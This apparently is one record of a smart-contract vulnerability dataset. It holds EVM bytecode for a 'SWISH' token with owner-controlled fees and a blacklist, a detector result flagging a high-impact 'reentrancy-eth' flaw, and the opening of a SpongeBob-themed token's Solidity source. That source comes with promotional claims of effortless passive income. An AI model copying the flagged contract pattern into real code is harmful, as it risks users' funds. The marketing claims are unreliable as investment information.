50610563610f92565b6040516105709190612e22565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130ce565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c491906130fb565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e7a565b611125565b6040516105ff9190612ed5565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613048565b611143565b60405161063c9190612ed5565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131bd565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a7919061321d565b611376565b6040516106b99190612f79565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130ce565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613048565b61149c565b005b61071c61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132a9565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132c9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613327565b9150506107ac565b5050565b60606040518060400160405280600581526020017f5357495348000000000000000000000000000000000000000000000000000000815250905090565b600061088f61088861165d565b8484611665565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc84848461182e565b61099d846108e861165d565b61099885604051806060016040528060288152602001613d6760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b19092919063ffffffff16565b611665565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132a9565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132a9565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165d565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165d565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d81612115565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612181565b9050919050565b610ca961165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132a9565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132a9565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f5357495348000000000000000000000000000000000000000000000000000000815250905090565b610fd761165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132a9565b60405180910390fd5b8060188190555050565b61107661165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132a9565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165d565b848461182e565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165d565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165d565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121ef565b50565b61124461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132a9565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132c9565b5b905060200201602081019061130c9190613048565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613327565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132a9565b60405180910390fd5b8060178190555050565b6114a461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611597906133e1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90613473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a90613505565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118219190612f79565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613597565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613629565b60405180910390fd5b6000811161194f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611946906136bb565b60405180910390fd5b611957610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119c55750611995610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db057601560149054906101000a900460ff16611a54576119e6610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a9061374d565b60405180910390fd5b5b601654811115611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a90906137b9565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b3d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b739061384b565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c295760175481611bde84610c50565b611be8919061386b565b10611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f90613933565b60405180910390fd5b5b6000611c3430610c50565b9050600060185482101590506016548210611c4f5760165491505b808015611c67575060158054906101000a900460ff16155b8015611cc15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cd95750601560169054906101000a900460ff165b8015611d2f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d855750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611dad57611d93826121ef565b60004790506000811115611dab57611daa47612115565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f18576000905061209f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fdb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209e57600a54600c81905550600b54600d819055505b5b6120ab84848484612466565b50505050565b60008383111582906120f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f09190612e22565b60405180910390fd5b50600083856121089190613953565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561217d573d6000803e3d6000fd5b5050565b60006006548211156121c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bf906139f9565b60405180910390fd5b60006121d2612493565b90506121e781846124be90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222657612225612bb0565b5b6040519080825280602002602001820160405280156122545781602001602082028036833780820191505090505b509050308160008151811061226c5761226b6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612313573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123379190613a2e565b8160018151811061234b5761234a6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611665565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612416959493929190613b54565b600060405180830381600087803b15801561243057600080fd5b505af1158015612444573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061247457612473612508565b5b61247f848484612545565b8061248d5761248c612710565b5b50505050565b60008060006124a0612724565b915091506124b781836124be90919063ffffffff16565b9250505090565b600061250083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612783565b905092915050565b6000600c5414801561251c57506000600d54145b61254357600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612557876127e6565b9550955095509550955095506125b586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612696816128f6565b6126a084836129b3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126fd9190612f79565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612758670de0b6b3a76400006006546124be90919063ffffffff16565b82101561277657600654670de0b6b3a764000093509350505061277f565b81819350935050505b9091565b600080831182906127ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c19190612e22565b60405180910390fd5b50600083856127d99190613bdd565b9050809150509392505050565b60008060008060008060008060006128038a600c54600d546129ed565b9250925092506000612813612493565b905060008060006128268e878787612a83565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061289083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b1565b905092915050565b60008082846128a7919061386b565b9050838110156128ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e390613c5a565b60405180910390fd5b8091505092915050565b6000612900612493565b905060006129178284612b0c90919063ffffffff16565b905061296b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129c88260065461284e90919063ffffffff16565b6006819055506129e38160075461289890919063ffffffff16565b6007819055505050565b600080600080612a196064612a0b888a612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a436064612a35888b612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a6c82612a5e858c61284e90919063ffffffff16565b61284e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a9c8589612b0c90919063ffffffff16565b90506000612ab38689612b0c90919063ffffffff16565b90506000612aca8789612b0c90919063ffffffff16565b90506000612af382612ae5858761284e90919063ffffffff16565b61284e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612b1e5760009050612b80565b60008284612b2c9190613c7a565b9050828482612b3b9190613bdd565b14612b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7290613d46565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be882612b9f565b810181811067ffffffffffffffff82111715612c0757612c06612bb0565b5b80604052505050565b6000612c1a612b86565b9050612c268282612bdf565b919050565b600067ffffffffffffffff821115612c4657612c45612bb0565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c8782612c5c565b9050919050565b612c9781612c7c565b8114612ca257600080fd5b50565b600081359050612cb481612c8e565b92915050565b6000612ccd612cc884612c2b565b612c10565b90508083825260208201905060208402830185811115612cf057612cef612c57565b5b835b81811015612d195780612d058882612ca5565b845260208401935050602081019050612cf2565b5050509392505050565b600082601f830112612d3857612d37612b9a565b5b8135612d48848260208601612cba565b91505092915050565b600060208284031215612d6757612d66612b90565b5b600082013567ffffffffffffffff811115612d8557612d84612b95565b5b612d9184828501612d23565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612dd4578082015181840152602081019050612db9565b83811115612de3576000848401525b50505050565b6000612df482612d9a565b612dfe8185612da5565b9350612e0e818560208601612db6565b612e1781612b9f565b840191505092915050565b60006020820190508181036000830152612e3c8184612de9565b905092915050565b6000819050919050565b612e5781612e44565b8114612e6257600080fd5b50565b600081359050612e7481612e4e565b92915050565b60008060408385031215612e9157612e90612b90565b5b6000612e9f85828601612ca5565b9250506020612eb085828601612e65565b9150509250929050565b60008115159050919050565b612ecf81612eba565b82525050565b6000602082019050612eea6000830184612ec6565b92915050565b6000819050919050565b6000612f15612f10612f0b84612c5c565b612ef0565b612c5c565b9050919050565b6000612f2782612efa565b9050919050565b6000612f3982612f1c565b9050919050565b612f4981612f2e565b82525050565b6000602082019050612f646000830184612f40565b92915050565b612f7381612e44565b82525050565b6000602082019050612f8e6000830184612f6a565b92915050565b600080600060608486031215612fad57612fac612b90565b5b6000612fbb86828701612ca5565b9350506020612fcc86828701612ca5565b9250506040612fdd86828701612e65565b9150509250925092565b600060ff82169050919050565b612ffd81612fe7565b82525050565b60006020820190506130186000830184612ff4565b92915050565b61302781612c7c565b82525050565b6000602082019050613042600083018461301e565b92915050565b60006020828403121561305e5761305d612b90565b5b600061306c84828501612ca5565b91505092915050565b61307e81612eba565b811461308957600080fd5b50565b60008135905061309b81613075565b92915050565b6000602082840312156130b7576130b6612b90565b5b60006130c58482850161308c565b91505092915050565b6000602082840312156130e4576130e3612b90565b5b60006130f284828501612e65565b91505092915050565b6000806000806080858703121561311557613114612b90565b5b600061312387828801612e65565b945050602061313487828801612e65565b935050604061314587828801612e65565b925050606061315687828801612e65565b91505092959194509250565b600080fd5b60008083601f84011261317d5761317c612b9a565b5b8235905067ffffffffffffffff81111561319a57613199613162565b5b6020830191508360208202830111156131b6576131b5612c57565b5b9250929050565b6000806000604084860312156131d6576131d5612b90565b5b600084013567ffffffffffffffff8111156131f4576131f3612b95565b5b61320086828701613167565b935093505060206132138682870161308c565b9150509250925092565b6000806040838503121561323457613233612b90565b5b600061324285828601612ca5565b925050602061325385828601612ca5565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613293602083612da5565b915061329e8261325d565b602082019050919050565b600060208201905081810360008301526132c281613286565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061333282612e44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613364576133636132f8565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133cb602683612da5565b91506133d68261336f565b604082019050919050565b600060208201905081810360008301526133fa816133be565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061345d602483612da5565b915061346882613401565b604082019050919050565b6000602082019050818103600083015261348c81613450565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006134ef602283612da5565b91506134fa82613493565b604082019050919050565b6000602082019050818103600083015261351e816134e2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613581602583612da5565b915061358c82613525565b604082019050919050565b600060208201905081810360008301526135b081613574565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613613602383612da5565b915061361e826135b7565b604082019050919050565b6000602082019050818103600083015261364281613606565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136a5602983612da5565b91506136b082613649565b604082019050919050565b600060208201905081810360008301526136d481613698565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613737603f83612da5565b9150613742826136db565b604082019050919050565b600060208201905081810360008301526137668161372a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137a3601c83612da5565b91506137ae8261376d565b602082019050919050565b600060208201905081810360008301526137d281613796565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613835602383612da5565b9150613840826137d9565b604082019050919050565b6000602082019050818103600083015261386481613828565b9050919050565b600061387682612e44565b915061388183612e44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138b6576138b56132f8565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061391d602383612da5565b9150613928826138c1565b604082019050919050565b6000602082019050818103600083015261394c81613910565b9050919050565b600061395e82612e44565b915061396983612e44565b92508282101561397c5761397b6132f8565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139e3602a83612da5565b91506139ee82613987565b604082019050919050565b60006020820190508181036000830152613a12816139d6565b9050919050565b600081519050613a2881612c8e565b92915050565b600060208284031215613a4457613a43612b90565b5b6000613a5284828501613a19565b91505092915050565b6000819050919050565b6000613a80613a7b613a7684613a5b565b612ef0565b612e44565b9050919050565b613a9081613a65565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613acb81612c7c565b82525050565b6000613add8383613ac2565b60208301905092915050565b6000602082019050919050565b6000613b0182613a96565b613b0b8185613aa1565b9350613b1683613ab2565b8060005b83811015613b47578151613b2e8882613ad1565b9750613b3983613ae9565b925050600181019050613b1a565b5085935050505092915050565b600060a082019050613b696000830188612f6a565b613b766020830187613a87565b8181036040830152613b888186613af6565b9050613b97606083018561301e565b613ba46080830184612f6a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613be882612e44565b9150613bf383612e44565b925082613c0357613c02613bae565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c44601b83612da5565b9150613c4f82613c0e565b602082019050919050565b60006020820190508181036000830152613c7381613c37565b9050919050565b6000613c8582612e44565b9150613c9083612e44565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cc957613cc86132f8565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d30602183612da5565b9150613d3b82613cd4565b604082019050919050565b60006020820190508181036000830152613d5f81613d23565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206401389da6055884beeab45431fc1ce9bc4fb75949b883284eae41a45944c96b64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,056 |
0x0f309536208701a4a0c79e38b9b9b4b0c06a0b6d
|
/**
*Submitted for verification at Etherscan.io on 2021-11-25
*/
/*
✔️Spongebob and Patrick, the first ecosystem designed to generate friendship.
$SPONGEBOB and $PATRICK are a community-driven tokens on the Ethereum Mainnet. We created $SPONGEBOB to provide our holders with leading tokenomics within the DeFi space. Our frictionless generation protocol makes you earn passive income without having to do anything at all.
🔅ONE PLATFORM, THREE FUNCTIONS:
Staking
Start staking with $SPONGEBOB and reap higher rewards and additional benefits.
Collect NFTs
Collect or farm Spongebob and Patrick's NFTs
Play & earn
Play Spongebob & Patrick's online card game and earn $SPONGEBOB
🔸Tokenomics:
Marketing 5%
Liquidity 2%
Reflections 2%
🔹Total supply:
1,000,000,000,000
READ MORE: https://spongebobandpatrick.com
🔸Socials:
Telegram:
https://t.me/xSpongebobAndPatrik
Twitter:
https://twitter.com/SpongebobDeFi
Instagram:
https://www.instagram.com/spongebobplatform/
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
